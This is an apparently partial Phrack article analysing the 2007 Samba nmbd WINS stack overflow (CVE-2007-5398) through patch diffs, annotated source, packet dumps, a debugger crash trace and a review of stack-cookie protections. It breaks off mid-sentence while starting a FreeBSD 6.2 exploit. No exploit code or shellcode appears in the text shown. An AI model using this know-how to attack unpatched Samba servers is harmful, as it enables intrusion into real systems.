Title : The art of exploitation: Technical analysis of Samba WINS overflow
Author : FelineMenace
==Phrack Inc.==
Volume 0x0c, Issue 0x41, Phile #0x0c of 0x0f
|=-----------------------------------------------------------------------=|
|=-------------=[ The Art of Exploitation: ]=-------------------=|
|=---------=[ Technical analysis of Samba WINS stack overflow ]=--------=|
|=--------------------------=[ CVE-2007-5398 ]=--------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------------------------------------------------------------=|
|=------------=[ By [email protected] ]=--------------=|
|=-----------------------------------------------------------------------=|
--[ Index
1 - Introduction
2 - Initial Analysis
3 - Ubuntu 7.10 Security mechanisms
4 - Source code walk through
5 - Writing an exploit for Samba Version 3.0.23c on FreeBSD 6.2
5.1 - Verifying valid registration flags
5.2 - Ordering the stack data correctly
5.3 - Code execution analysis
5.4 - Shellcode
5.5 - Getting a shell
5.6 - Making the exploit more reliable
5.6.1 - static .bss data
5.6.2 - Memory leak
5.6.2 - Back to the future^W.bss
5.7 - Additional exploitation notes
6 - References
--[ 1 - Introduction
On the 15th November, 2007, the Samba team released a security advisory[1]
detailing a stack overflow in the nmbd daemon, specifically in
reply_netbios_packet() function in nmbd/nmbd_packets.c.
This vulnerability requires a specific non-standard configuration
operation set in smb.conf for the code path to be enabled. Specifically,
"wins support = yes" needs to be set. This specific vulnerability is not
going to be present in a default install, nor likely to be found randomly.
Apart from that, it's a relatively standard vulnerability, with nothing
to set it apart.
This article will be my running commentary / analysis while analysing and
exploiting this bug, every little editing of the article will take place
afterwards.. so if I make a stuff up / discover something applicable later
on that I missed first time, you'll be able to read all about it.
Initially, I will be concerned about how this affects Ubuntu 7.10 by
default, however, later on this may change if it turns out not to be
exploitable, due to various protection mechanisms.
--[ 2 - Initial Analysis
The difference between samba-3.0.26 and samba-3.0.27 is shown directly
below:
---------------------------------------------
--- samba-3.0.26/source/nmbd/nmbd_packets.c
+++ samba-3.0.27/source/nmbd/nmbd_packets.c
@@ -963,6 +963,12 @@
nmb->answers->ttl = ttl;
if (data && len) {
+ if (len < 0 || len > sizeof(nmb->answers->rdata)) {
+ DEBUG(5,("reply_netbios_packet: "
+ "invalid packet len (%d)\n",
+ len ));
+ return;
+ }
nmb->answers->rdlength = len;
memcpy(nmb->answers->rdata, data, len);
}
---------------------------------------------
The additional checks it adds is immediately obvious what the problem is.
Looking at the function declaration of the reply_netbios_packet() we
see:
---------------------------------------------
void reply_netbios_packet(struct packet_struct *orig_packet,
int rcode, enum netbios_reply_type_code rcv_code, int opcode,
int ttl, char *data, int len)
{
struct packet_struct packet;
struct nmb_packet *nmb = NULL;
struct res_rec answers;
struct nmb_packet *orig_nmb = &orig_packet->packet.nmb;
BOOL loopback_this_packet = False;
int rr_type = RR_TYPE_NB;
const char *packet_type = "unknown";
/* Check if we are sending to or from ourselves. */
if( ismyip(orig_packet->ip) &&
(orig_packet->port == global_nmb_port)
)
loopback_this_packet = True;
nmb = &packet.packet.nmb;
..
---------------------------------------------
Checking the to see how much space is allocated in nmb->answers->rdata,
we see:
---------------------------------------------
/* A resource record. */
struct res_rec {
struct nmb_name rr_name;
int rr_type;
int rr_class;
int ttl;
int rdlength;
char rdata[MAX_DGRAM_SIZE];
};
nameserv.h:#define MAX_DGRAM_SIZE (576) /* tcp/ip datagram limit
is 576 bytes */
---------------------------------------------
To trigger this vulnerability, we need to determine how to reach the
code in a vulnerable state (with a large len field, greater than 576
bytes.)
"grep -A 6 reply_netbios_ * | less" in source/nmbd, we see one that
looks particularly interesting, especially due to advisories mentioning
"wins support = yes" needing to be configured.
---------------------------------------------
nmbd_winsserver.c: reply_netbios_packet(p, /* Packet to reply to. */
nmbd_winsserver.c- 0,/* Result code. */
nmbd_winsserver.c- WINS_QUERY, /* nmbd type code. */
nmbd_winsserver.c- NMB_NAME_QUERY_OPCODE, /* opcode. */
nmbd_winsserver.c- lp_min_wins_ttl(), /* ttl. */
nmbd_winsserver.c- prdata, /* data to send. */
nmbd_winsserver.c- num_ips*6); /* data length. */
----------------------------------------------
Examining this code further we see that it's called in the
process_wins_dmb_query_request() function. It looks through all
registered hosts of the type 0x1b, counts them, allocates memory,
cycles through the linked list again, and records the IP address(es), and
flags associated with that records. Further more, the code doesn't do any
checks on the data it is about to pass into the reply_netbios_packet()
function.
Of specific interest in the process_wins_dmb_query_request() in
nmbd_winsserver.c, the code is the
following:
----------------------------------------------
for(i = 0; i < namerec->data.num_ips; i++) {
set_nb_flags(&prdata[num_ips * 6],namerec->data.nb_flags);
putip((char *)&prdata[(num_ips * 6) + 2], &namerec->data.ip[i]);
num_ips++;
}
----------------------------------------------
This is constructing the data to be memcpy()'d later on, in 6 byte
increments. This could present a problem later on, as the stack layout
may need to be controlled with extreme precision, and the nb_flags
details may be validated.
Since this code path looks plausible, we'll start constructing some code
to trigger this vulnerability.
By doing a packet dump and loading it into WireShark[2], we can look for
a WINS host being registered, and start working on an exploit. So far to
trigger this vulnerability from reading over the code, we need
approximately (576 / 6) registrations of type 0x1b, then we need to
search for all 0x1b registrations.
-----------------------------------------------
NetBIOS Name Service
Transaction ID: 0x7b60
Flags: 0x2910 (Registration)
0... .... .... .... = Response: Message is a query
.010 1... .... .... = Opcode: Registration (5)
.... ..0. .... .... = Truncated: Message is not truncated
.... ...1 .... .... = Recursion desired: Do query recursively
.... .... ...1 .... = Broadcast: Broadcast packet
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 1
Queries
VULN<20>: type NB, class IN
Name: VULN<20> (Server service)
Type: NB
Class: IN
Additional records
VULN<20>: type NB, class IN
Name: VULN<20> (Server service)
Type: NB
Class: IN
Time to live: 0 time
Data length: 6
Flags: 0x6000 (H-node, unique)
0... .... .... .... = Unique name
.11. .... .... .... = H-node
Addr: 10.1.1.3
------------------------------------------------
* Transaction ID is any 16 bit value.
* Flags is specific value, and is 16 bit.
* Questions is a 16 bit value.
* Answer RRs is a 16 bit value.
* Authority RRs is a 16 bit value.
* Additional RRs is a 16 bit value.
The "Queries" section is a 32 byte string, which encodes the type of
registration, in addition with the type/class information. The
"Additional records" section has the name as 0xc0 0x0c, which seems to
indicate to use the name previously unpacked. Further more, the type
and class information is present, along with time to live, host flag
information, and address information.
It would appear that when registering is taking place, Samba extracts the
flags field in the additional records, and the IP address information,
and inserts it into the linked list.
With this knowledge, we can start our attempts at exploiting Samba by
triggering the vulnerability. To reduce the amount of work that needs to
be done, we'll use impacket [3] to reduce our work.
After writing a preliminary exploit, we can verify the code path we choose
was correct. The code to trigger the vulnerability is included. We will
develop the exploit against a default install of Ubuntu 7.10 server
version.
The crash looks like
------------------------------------------------
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1213143376 (LWP 31330)]
0x080cd22e in ?? ()
(gdb) x/10i $eip
0x80cd22e: cmp (%ecx),%al
0x80cd230: jne 0x80cd242
0x80cd232: movzbl 0xffff0bde(%ebx),%eax
0x80cd239: cmp 0x1(%ecx),%al
0x80cd23c: je 0x80cd35d
0x80cd242: mov 0xffffffbc(%ebp),%edx
0x80cd245: lea 0xffffffe0(%ebp),%esi
0x80cd248: mov 0x50(%edx),%eax
0x80cd24b: movl $0x20,0x8(%esp)
0x80cd253: mov %edx,0x4(%esp)
(gdb) i r ecx
ecx 0x6b6a6968 1802135912
(gdb) bt
#0 0x080cd22e in ?? ()
#1 0xbfe959c8 in ?? ()
#2 0x08138721 in ?? ()
#3 0x00000000 in ?? ()
------------------------------------------------
The value in ecx, 0x6b6a6968 is taken from the trigger code above, in the
CreatePackets() function, in the ip variable. This at least gives us a
start in exploiting the service.
--[ 3 - Ubuntu 7.10 Security mechanisms
Here is a quick overview of the preventative security mechanisms I can
see in the default install of Ubuntu 7.10.
* dmesg shows NX (Execute Disable) protection: active
* /proc/pid/maps for nmbd looks like:
-------------------------------------------------
08048000-08145000 r-xp 00000000 08:01 462765 /usr/sbin/nmbd
08145000-08150000 rw-p 000fc000 08:01 462765 /usr/sbin/nmbd
08150000-081ea000 rw-p 08150000 00:00 0 [heap]
...
b7fdd000-b7ff7000 r-xp 00000000 08:01 279708 /lib/ld-2.6.1.so
b7ff7000-b7ff9000 rw-p 00019000 08:01 279708 /lib/ld-2.6.1.so
bfbc9000-bfbdf000 rw-p bfbc9000 00:00 0 [stack]
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
--------------------------------------------------
So while non-execution may be active in some form, it looks like there may
be some avenues via return-to-text, or jumping to the static vdso mapping.
* It appears there is a stack cookie implementation being used by the
compiler which made nmbd - due to strings output.
--------------------------------------------------
# strings /usr/sbin/nmbd | grep -i stack | head -n 1
__stack_chk_fail
---------------------------------------------------
* SuSE's apparmor is installed, though a cursory look it doesn't seem
to be used?
---------------------------------------------------
# apparmor_status
apparmor module is loaded.
0 profiles are loaded.
0 profiles are in enforce mode.
0 profiles are in complain mode.
0 processes have profiles defined.
0 processes are in enforce mode :
0 processes are in complain mode.
0 processes are unconfined but have a profile defined.
---------------------------------------------------
I'd hazard a guess that all memory regions are executable.. but we'll see
how it goes.
So far, the only things that may hinder us a bit is that the:
* exploit is blind (unless a memory leak is found - which can be worked on
later.. or if we're lucky, the static memory address that we can use)
* memory randomisation (a little bit, we have a static .text, and a static
vdso)
* stack cookie checking may influence (either negatively, or positively)
the avenues we have for exploiting the daemon.
--[ 4 - Source code walk through
To exploit the vulnerability, some of the things we need to do is:
* verify what flags field can be used, as our exploitation techniques may
need to keep this in mind, or our shellcode / addresses we use may be
affected in some way.
* Analyze exactly what we're overflowing, and what is being affected by
the stack overwrite.
* Work out how to gain control of execution from the memory overwrite.
To make exploit development easier, we can install the samba-dbg package
that ships with Ubuntu 7.10. The samba-dbg package has applicable symbols
for the samba binaries / libraries. This may significantly help us exploit
the vulnerability, as it will provide variable names, function information,
and so fourth.
Since we have triggered the vulnerability, it's probably a good idea to
start from reading the packets in, and finding where the memory is being
used / defined, and work our way forwards to the memcpy(), then following
what happens there.
The nmbd server has a main processing loop, called process() funnily
enough, in nmbd/nmbd.c.
It reads in and queues the network packets, then processes the packets
as shown below:
------------------------------------------
/*
* Read incoming UDP packets.
* (nmbd_packets.c)
*/
if(listen_for_packets(run_election))
return;
...
/*
* Process all incoming packets
* read above. This calls the success and
* failure functions registered when response
* packets arrrive, and also deals with request
* packets from other sources.
* (nmbd_packets.c)
*/
run_packet_queue();
-------------------------------------------
Which hands off execution to the nmbd/nmbd_packets.c file, in
run_packet_queue()
run_packet_queue() runs through the list of packets (as the name would
suggest), identifying if it is NMB packet, or a "dgram" packet. If it is a
NMB packet, it checks to see whether or not it is a request, or a response.
As we're dealing with a request type, it hands off execution to
process_nmb_request() (which is in the same file as before,
nmbd/nmbd_packets.c).
process_nmb_request() examines the opcode, and hands off execution to
wins_process_name_query_request() in nmbd/nmbd_winsserver.c
A partial extract of the wins_process_name_query_request() is shown below:
--------------------------------------------
1879 /*********************************************************************
1880 Deal with a name query.
1881 *********************************************************************/
1882
1883 void wins_process_name_query_request(struct subnet_record *subrec,
1884 struct packet_struct *p)
1885 {
1886 struct nmb_packet *nmb = &p->packet.nmb;
1887 struct nmb_name *question = &nmb->question.question_name;
1888 struct name_record *namerec = NULL;
1889 unstring qname;
1890
1891 DEBUG(3,(
"wins_process_name_query: name query for name %s from IP %s\n",
1892 nmb_namestr(question), inet_ntoa(p->ip) ));
1893
1894 /*
1895 * Special name code. If the queried name is *<1b> then search
1896 * the entire WINS database and return a list of all the IP
addresses
1897 * registered to any <1b> name. This is to allow domain master
browsers
1898 * to discover other domains that may not have a presence on
their subnet.
1899 */
1900
1901 pull_ascii_nstring(qname, sizeof(qname), question->name);
1902 if(strequal( qname, "*") && (question->name_type == 0x1b)) {
1903 process_wins_dmb_query_request( subrec, p);
1904 return;
1905 }
1906
--------------------------------------------
Since our trigger packet matches the requirement at 1902, we then jump
on to process_wins_dmb_query_request again in nmbd_winsserver.c. Some
comments are inline.
--------------------------------------------
1749 /********************************************************************
1750 Deal with the special name query for *<1b>
1751 ********************************************************************/
1752
1753 static void process_wins_dmb_query_request(
struct subnet_record *subrec,
1754 struct packet_struct *p)
1755 {
1756 struct name_record *namerec = NULL;
1757 char *prdata;
1758 int num_ips;
1759
1760 /*
1761 * Go through all the ACTIVE names in the WINS db looking for
those
1762 * ending in <1b>. Use this to calculate the number of IP
1763 * addresses we need to return.
1764 */
1765
1766 num_ips = 0;
1767
1768 /* First, clear the in memory list - we're going to
re-populate
1769 it with the tdb_traversal in
fetch_all_active_wins_1b_names. */
1770
1771 wins_delete_all_tmp_in_memory_records();
1772
1773 fetch_all_active_wins_1b_names();
1774
1775 for( namerec = subrec->namelist; namerec; namerec =
namerec->next ) {
1776 if( WINS_STATE_ACTIVE(namerec) &&
namerec->name.name_type == 0x1b) {
1777 num_ips += namerec->data.num_ips;
Count how many IP addresses are active, per registration.
1778 }
1779 }
1780
1781 if(num_ips == 0) {
None? then bail.
1782 /*
1783 * There are no 0x1b names registered.
Return name query fail.
1784 */
1785 send_wins_name_query_response(NAM_ERR, p, NULL);
1786 return;
1787 }
1788
1789 if((prdata = (char *)SMB_MALLOC( num_ips * 6 )) == NULL) {
Allocate required temporary memory. free()'d at end of function.
1790 DEBUG(0,("process_wins_dmb_query_request: Malloc fail !.\n"));
1791 return;
1792 }
1793
1794 /*
1795 * Go through all the names again in the WINS db looking for
those
1796 * ending in <1b>. Add their IP addresses into the list
we will
1797 * return.
1798 */
1799
1800 num_ips = 0;
1801 for( namerec = subrec->namelist; namerec; namerec =
namerec->next ) {
1802 if( WINS_STATE_ACTIVE(namerec) &&
namerec->name.name_type == 0x1b) {
Scan through the linked list of name records, finding suitable records that
meet the above requirements.
1803 int i;
1804 for(i = 0; i < namerec->data.num_ips; i++) {
1805 set_nb_flags(&prdata[num_ips * 6],
namerec->data.nb_flags);
1806 putip((char *)&
prdata[(num_ips * 6) + 2], &namerec->data.ip[i]);
1807 num_ips++;
1808 }
Copy the data into the allocated memory. Memory is formatted of the type:
[2 byte flags field][4 byte ip address]
1809 }
1810 }
1811
1812 /*
1813 * Send back the reply containing the IP list.
1814 */
1815
1816 reply_netbios_packet(p, /* Packet to reply to. */
1817 0, /* Result code. */
1818 WINS_QUERY, /* nmbd type code. */
1819 NMB_NAME_QUERY_OPCODE, /* opcode. */
1820 lp_min_wins_ttl(), /* ttl. */
1821 prdata, /* data to send. */
1822 num_ips*6); /* data length. */
1823
Call reply_netbios_packet. If reached where num_ips*6 > 576, it will
trigger the vulnerability.
1824 SAFE_FREE(prdata);
1825 }
1826
--------------------------------------------
And looking at reply_netbios_packet(), we see:
--------------------------------------------
856 /*******************************************************************
857 Reply to a netbios name packet. see rfc1002.txt
858 ********************************************************************/
859
860 void reply_netbios_packet(struct packet_struct *orig_packet,
861 int rcode, enum netbios_reply_type_code
rcv_code,
int opcode,
862 int ttl, char *data,int len)
863 {
864 struct packet_struct packet;
Locally defined struct packet on the stack
865 struct nmb_packet *nmb = NULL;
866 struct res_rec answers;
Locally defined res_rec on the stack.
867 struct nmb_packet *orig_nmb = &orig_packet->packet.nmb;
868 BOOL loopback_this_packet = False;
869 int rr_type = RR_TYPE_NB;
870 const char *packet_type = "unknown";
871
872 /* Check if we are sending to or from ourselves. */
873 if(ismyip(orig_packet->ip) && (orig_packet->port ==
global_nmb_port))
874 loopback_this_packet = True;
875
876 nmb = &packet.packet.nmb;
Point nmb inside of the above locally declared packet.
877
878 /* Do a partial copy of the packet. We clear the locked flag
and
879 the resource record pointers. */
880 packet = *orig_packet; /* Full structure copy. */
881 packet.locked = False;
Build the nmb packet response
882 nmb->answers = NULL;
883 nmb->nsrecs = NULL;
884 nmb->additional = NULL;
885
886 switch (rcv_code) {
887 case NMB_STATUS:
888 packet_type = "nmb_status";
889 nmb->header.nm_flags.recursion_desired = False;
890 nmb->header.nm_flags.recursion_available = False;
891 rr_type = RR_TYPE_NBSTAT;
892 break;
893 case NMB_QUERY:
894 packet_type = "nmb_query";
895 nmb->header.nm_flags.recursion_desired = True;
896 nmb->header.nm_flags.recursion_available = True;
897 if (rcode) {
898 rr_type = RR_TYPE_NULL;
899 }
900 break;
901 case NMB_REG:
902 case NMB_REG_REFRESH:
903 packet_type = "nmb_reg";
904 nmb->header.nm_flags.recursion_desired = True;
905 nmb->header.nm_flags.recursion_available = True;
906 break;
907 case NMB_REL:
908 packet_type = "nmb_rel";
909 nmb->header.nm_flags.recursion_desired = False;
910 nmb->header.nm_flags.recursion_available = False;
911 break;
912 case NMB_WAIT_ACK:
913 packet_type = "nmb_wack";
914 nmb->header.nm_flags.recursion_desired = False;
915 nmb->header.nm_flags.recursion_available = False;
916 rr_type = RR_TYPE_NULL;
917 break;
918 case WINS_REG:
919 packet_type = "wins_reg";
920 nmb->header.nm_flags.recursion_desired = True;
921 nmb->header.nm_flags.recursion_available = True;
922 break;
923 case WINS_QUERY:
924 packet_type = "wins_query";
925 nmb->header.nm_flags.recursion_desired = True;
926 nmb->header.nm_flags.recursion_available = True;
927 if (rcode) {
928 rr_type = RR_TYPE_NULL;
929 }
930 break;
931 default:
932 DEBUG(0,(
"reply_netbios_packet: Unknown packet type: %s %s to ip %s\n",
933 packet_type, nmb_namestr(&orig_nmb->question.question_name),
934 inet_ntoa(packet.ip)));
935 return;
936 }
937
938 DEBUG(4,(
"reply_netbios_packet: sending a reply of packet type: %s %s to ip %s \
939 for id %hu\n", packet_type, nmb_namestr
(&orig_nmb->question.question_name),
940 inet_ntoa(packet.ip), orig_nmb->header.name_trn_id));
941
942 nmb->header.name_trn_id = orig_nmb->header.name_trn_id;
943 nmb->header.opcode = opcode;
944 nmb->header.response = True;
945 nmb->header.nm_flags.bcast = False;
946 nmb->header.nm_flags.trunc = False;
947 nmb->header.nm_flags.authoritative = True;
948
949 nmb->header.rcode = rcode;
950 nmb->header.qdcount = 0;
951 nmb->header.ancount = 1;
952 nmb->header.nscount = 0;
953 nmb->header.arcount = 0;
954
Finished building the nmb packet header, now on with the show.
955 memset((char*)&nmb->question,'\0',sizeof(nmb->question));
956
957 nmb->answers = &answers;
958 memset((char*)nmb->answers,'\0',sizeof(*nmb->answers));
Setup nmb->answers, zero the memory.
959
960 nmb->answers->rr_name = orig_nmb->question.question_name;
961 nmb->answers->rr_type = rr_type;
962 nmb->answers->rr_class = RR_CLASS_IN;
963 nmb->answers->ttl = ttl;
964
965 if (data && len) {
966 nmb->answers->rdlength = len;
967 memcpy(nmb->answers->rdata, data, len);
Trigger the overflow, which writes into the function allocated copy of
answers->rdata, which is defined/mentioned above as:
/* A resource record. */
struct res_rec {
struct nmb_name rr_name;
int rr_type;
int rr_class;
int ttl;
int rdlength;
char rdata[MAX_DGRAM_SIZE];
};
nameserv.h:#define MAX_DGRAM_SIZE (576)
/* tcp/ip datagram limit is 576 bytes */
968 }
969
970 packet.packet_type = NMB_PACKET;
971 /* Ensure we send out on the same fd that the original
972 packet came in on to give the correct source IP
address. */
973 packet.fd = orig_packet->fd;
974 packet.timestamp = time(NULL);
975
976 debug_nmb_packet(&packet);
977
978 if(loopback_this_packet) {
979 struct packet_struct *lo_packet;
980 DEBUG(5,(
"reply_netbios_packet: sending packet to ourselves.\n"));
981 if((lo_packet = copy_packet(&packet)) == NULL)
982 return;
983 queue_packet(lo_packet);
984 } else if (!send_packet(&packet)) {
985 DEBUG(0,(
"reply_netbios_packet: send_packet to IP %s port %d failed\n",
986 inet_ntoa(packet.ip),packet.port));
987 }
988 }
989
--------------------------------------------
Unfortunately, since we saw mention of stack cookies and checks, it appears
that we can't just overwrite the saved eip and test if we have code
execution - indeed, running the exploit with too few registrations provide
us with the message of:
--------------------------------------------
*** stack smashing detected ***: /usr/sbin/nmbd terminated
--------------------------------------------
This means that it's probable we'll have to see what we can get away with
in the processing of send_packet(). send_packet() is located in
libsmb/nmblib.c
Looking at send_packet(), we find the following:
--------------------------------------------
982 /*******************************************************************
983 Send a packet_struct.
984 ******************************************************************/
985
986 BOOL send_packet(struct packet_struct *p)
987 {
988 char buf[1024];
989 int len=0;
990
991 memset(buf,'\0',sizeof(buf));
992
993 len = build_packet(buf, p);
994
995 if (!len)
996 return(False);
997
998 return(send_udp(p->fd,buf,len,p->ip,p->port));
999 }
1000
--------------------------------------------
The "char buf[1024];" looks interesting, and maybe useful.
Followed by the obvious:
--------------------------------------------
961 /*******************************************************************
962 Linearise a packet.
963 ******************************************************************/
964
965 int build_packet(char *buf, struct packet_struct *p)
966 {
967 int len = 0;
968
969 switch (p->packet_type) {
970 case NMB_PACKET:
971 len = build_nmb(buf,p);
972 break;
973
974 case DGRAM_PACKET:
975 len = build_dgram(buf,p);
976 break;
977 }
978
979 return len;
980 }
--------------------------------------------
Followed by the call once again, to build_nmb():
--------------------------------------------
881 /*******************************************************************
882 Build a nmb packet ready for sending.
883
884 XXXX this currently relies on not being passed something that expands
885 to a packet too big for the buffer. Eventually this should be
886 changed to set the trunc bit so the receiver can request the rest
887 via tcp (when that becomes supported)
888 ******************************************************************/
889
890 static int build_nmb(char *buf,struct packet_struct *p)
891 {
892 struct nmb_packet *nmb = &p->packet.nmb;
893 unsigned char *ubuf = (unsigned char *)buf;
894 int offset=0;
895
896 /* put in the header */
897 RSSVAL(ubuf,offset,nmb->header.name_trn_id);
898 ubuf[offset+2] = (nmb->header.opcode & 0xF) << 3;
899 if (nmb->header.response)
900 ubuf[offset+2] |= (1<<7);
901 if (nmb->header.nm_flags.authoritative &&
902 nmb->header.response)
903 ubuf[offset+2] |= 0x4;
904 if (nmb->header.nm_flags.trunc)
905 ubuf[offset+2] |= 0x2;
906 if (nmb->header.nm_flags.recursion_desired)
907 ubuf[offset+2] |= 0x1;
908 if (nmb->header.nm_flags.recursion_available &&
909 nmb->header.response)
910 ubuf[offset+3] |= 0x80;
911 if (nmb->header.nm_flags.bcast)
912 ubuf[offset+3] |= 0x10;
913 ubuf[offset+3] |= (nmb->header.rcode & 0xF);
914
915 RSSVAL(ubuf,offset+4,nmb->header.qdcount);
916 RSSVAL(ubuf,offset+6,nmb->header.ancount);
917 RSSVAL(ubuf,offset+8,nmb->header.nscount);
918 RSSVAL(ubuf,offset+10,nmb->header.arcount);
919
920 offset += 12;
921 if (nmb->header.qdcount) {
922 /* XXXX this doesn't handle a qdcount of > 1 */
923 offset += put_nmb_name((char *)ubuf,offset,
&nmb->question.question_name);
924 RSSVAL(ubuf,offset,nmb->question.question_type);
925 RSSVAL(ubuf,offset+2,nmb->question.question_class);
926 offset += 4;
927 }
928
929 if (nmb->header.ancount)
930 offset +=
put_res_rec((char *)ubuf,offset,nmb->answers,
931 nmb->header.ancount);
932
933 if (nmb->header.nscount)
934 offset += put_res_rec((char *)ubuf,offset,nmb->nsrecs,
935 nmb->header.nscount);
936
937 /*
938 * The spec says we must put compressed name pointers
939 * in the following outgoing packets :
940 * NAME_REGISTRATION_REQUEST, NAME_REFRESH_REQUEST,
941 * NAME_RELEASE_REQUEST.
942 */
943
944 if((nmb->header.response == False) &&
945 ((nmb->header.opcode == NMB_NAME_REG_OPCODE) ||
946 (nmb->header.opcode == NMB_NAME_RELEASE_OPCODE) ||
947 (nmb->header.opcode == NMB_NAME_REFRESH_OPCODE_8) ||
948 (nmb->header.opcode == NMB_NAME_REFRESH_OPCODE_9) ||
949 (nmb->header.opcode == NMB_NAME_MULTIHOMED_REG_OPCODE)) &&
950 (nmb->header.arcount == 1)) {
951
952 offset += put_compressed_name_ptr(ubuf,offset,nmb->additional,12);
953
954 } else if (nmb->header.arcount) {
955 offset += put_res_rec((char *)ubuf,offset,nmb->additional,
956 nmb->header.arcount);
957 }
958 return(offset);
959 }
--------------------------------------------
Following the call to put_res_rec(), we see:
--------------------------------------------
388
389 /*******************************************************************
390 Put a resource record into a packet.
391 ******************************************************************/
392
393 static int put_res_rec(char *buf,int offset,struct res_rec *recs,
int count)
394 {
395 int ret=0;
396 int i;
397
398 for (i=0;i<count;i++) {
399 int l = put_nmb_name(buf,offset,&recs[i].rr_name);
400 offset += l;
401 ret += l;
402 RSSVAL(buf,offset,recs[i].rr_type);
403 RSSVAL(buf,offset+2,recs[i].rr_class);
404 RSIVAL(buf,offset+4,recs[i].ttl);
405 RSSVAL(buf,offset+8,recs[i].rdlength);
406 memcpy(buf+offset+10,recs[i].rdata,recs[i].rdlength);
407 offset += 10+recs[i].rdlength;
408 ret += 10+recs[i].rdlength;
409 }
410
411 return(ret);
412 }
413
--------------------------------------------
And following up with put_nmb_name():
--------------------------------------------
279 /*******************************************************************
280 Put a compressed nmb name into a buffer. Return the length of the
281 compressed name.
282
283 Compressed names are really weird. The "compression" doubles the
284 size. The idea is that it also means that compressed names conform
285 to the doman name system. See RFC1002.
286 ******************************************************************/
287
288 static int put_nmb_name(char *buf,int offset,struct nmb_name *name)
289 {
290 int ret,m;
291 nstring buf1;
292 char *p;
293
294 if (strcmp(name->name,"*") == 0) {
295 /* special case for wildcard name */
296 put_name(buf1, "*", '\0', name->name_type);
297 } else {
298 put_name(buf1, name->name, ' ', name->name_type);
299 }
300
301 buf[offset] = 0x20;
302
303 ret = 34;
304
305 for (m=0;m<MAX_NETBIOSNAME_LEN;m++) {
306 buf[offset+1+2*m] = 'A' + ((buf1[m]>>4)&0xF);
307 buf[offset+2+2*m] = 'A' + (buf1[m]&0xF);
308 }
309 offset += 33;
310
311 buf[offset] = 0;
312
313 if (name->scope[0]) {
314 /* XXXX this scope handling needs testing */
315 ret += strlen(name->scope) + 1;
316 safe_strcpy(&buf[offset+1],name->scope,sizeof(name->scope)) ;
317
318 p = &buf[offset+1];
319 while ((p = strchr_m(p,'.'))) {
320 buf[offset] = PTR_DIFF(p,&buf[offset+1]);
321 offset += (buf[offset] + 1);
322 p = &buf[offset+1];
323 }
324 buf[offset] = strlen(&buf[offset+1]);
325 }
326
327 return(ret);
328 }
329
--------------------------------------------
And put_name():
--------------------------------------------
262 /************************************************************* **
263 Put a netbios name, padding(s) and a name type into a 16 character
buffer.
264 name is already in DOS charset.
265 [15 bytes name + padding][1 byte name type].
266 ************************************************************** */
267
268 void put_name(char *dest, const char *name, int pad,
unsigned int name_type )
269 {
270 size_t len = strlen(name);
271
272 memcpy(dest, name, (len < MAX_NETBIOSNAME_LEN) ?
len : MAX_NETBIOSN AME_LEN - 1);
273 if (len < MAX_NETBIOSNAME_LEN - 1) {
274 memset(dest + len, pad, MAX_NETBIOSNAME_LEN - 1 - len);
275 }
276 dest[MAX_NETBIOSNAME_LEN - 1] = name_type;
277 }
278
--------------------------------------------
So it appears with a large enough request, we can overflow the second
char buf[1024]; in send_packet(), but due to stack cookies that may not
get us much.
Indeed, after a bit of experimenting, it looks like this is not exploitable
out of the box on Ubuntu, due to propolice/SSP, and the later code flow
does not appear to provide us with a mechanism where we can write to other
memory we can control, unfortunately. That said, I may of missed something
obvious, or I might not of understood something correctly. If anyone has
anything to the contrary, I would appreciate it.
Since the majority of other popular Linux platforms support SSP, I
decided to take a look at FreeBSD's CURRENT platform, and see if that would
be vulnerable/exploitable, and by a quick objdump on the nmbd binary, it
appears to be. I was quite disappointed to learn that after experimenting
with triggering the vulnerability, that it didn't appear to be exploitable,
due to stack cookies. (At least, with my current knowledge and
understanding, and sans bugs in the stack cookie check failure).
For what it's worth, apparently OpenBSD and DragonFly BSD both use SSP and
other security mechanisms.. but I hardly ever do anything on *BSD work,
and don't overly care what they're doing (or lack thereof)
--[ 5 - Writing an exploit for Samba Version 3.0.23c on FreeBSD 6.2
--[ 5.1 - Verifying valid registration flags
To correctly exploit the nmbd daemon, we'll need to control the stack
layout with precision. Reviewing how the data is laid out, we see that
the flags parameter is used with what the host registered with. Due to
potential restrictions, we need to validate what ranges are valid and can
be used.
By doing some quick grepping of the samba source code, we find the below
code which modifies the flags:
--------------------------------------------
nmbd_packets.c:
uint16 get_nb_flags(char *buf)
{
return ((((uint16)*buf)&0xFFFF) & NB_FLGMSK);
}
../include/nameserv.h:#define NB_FLGMSK 0xE0
nmbd_winserver.c:
void wins_process_name_registration_request(struct subnet_record *subrec,
struct packet_struct *p)
{
...
if(registering_group_name && (question->name_type != 0x1c)) {
from_ip = *interpret_addr2("255.255.255.255");
}
...
--------------------------------------------
From the above, we see what the only certain bits set in the request flags
is valid, and depending on what those bits are, that they can modify the ip
address associated with the register request. To keep things extremely
simple, we will stick with using 0x0000 as the flags, and work out whatever
issues that brings us.
--[ 5.2 - Ordering the stack data correctly
Samba stores NMB registrations in the tdb[4] format, a database backend
designed by the Samba team to prevent re-implementing the same code several
times throughout Samba.
Due to the mechanisms that tdb uses, the way that nmbd returns our
registered flags and ip addresses are not necessarily in order that we
registered them. Further analysis reveals that we force a particular
layout in order to exploit it correctly.
Looking at how names are looked up, we see:
--------------------------------------------
nmbd_winsserver.c:
static void process_wins_dmb_query_request(struct subnet_record *subrec,
struct packet_struct *p)
{
...
fetch_all_active_wins_1b_names();
...
void fetch_all_active_wins_1b_names(void)
{
tdb_traverse(wins_tdb, fetch_1b_traverse_fn, NULL);
}
/***********************************************************************
Fetch all *<1b> names from the WINS db and store on the namelist.
***********************************************************************/
static int fetch_1b_traverse_fn(TDB_CONTEXT *tdb, TDB_DATA kbuf, TDB_DATA
dbuf, void *state)
{
struct name_record *namerec = NULL;
if (kbuf.dsize != sizeof(unstring) + 1) {
return 0;
}
/* Filter out all non-1b names. */
if (kbuf.dptr[sizeof(unstring)] != 0x1b) {
return 0;
}
namerec = wins_record_to_name_record(kbuf, dbuf);
if (!namerec) {
return 0;
}
DLIST_ADD(wins_server_subnet->namelist, namerec);
return 0;
}
--------------------------------------------
fetch_all_active_wins_1b_names() just calls tdb_traverse() with a call
back function of fetch_1b_traverse_fn(), which adds it to a temporary name
cache storage, at the top of a doubly linked list.
Looking at tdb_traverse(), it calls tdb_traverse_internal(), which is
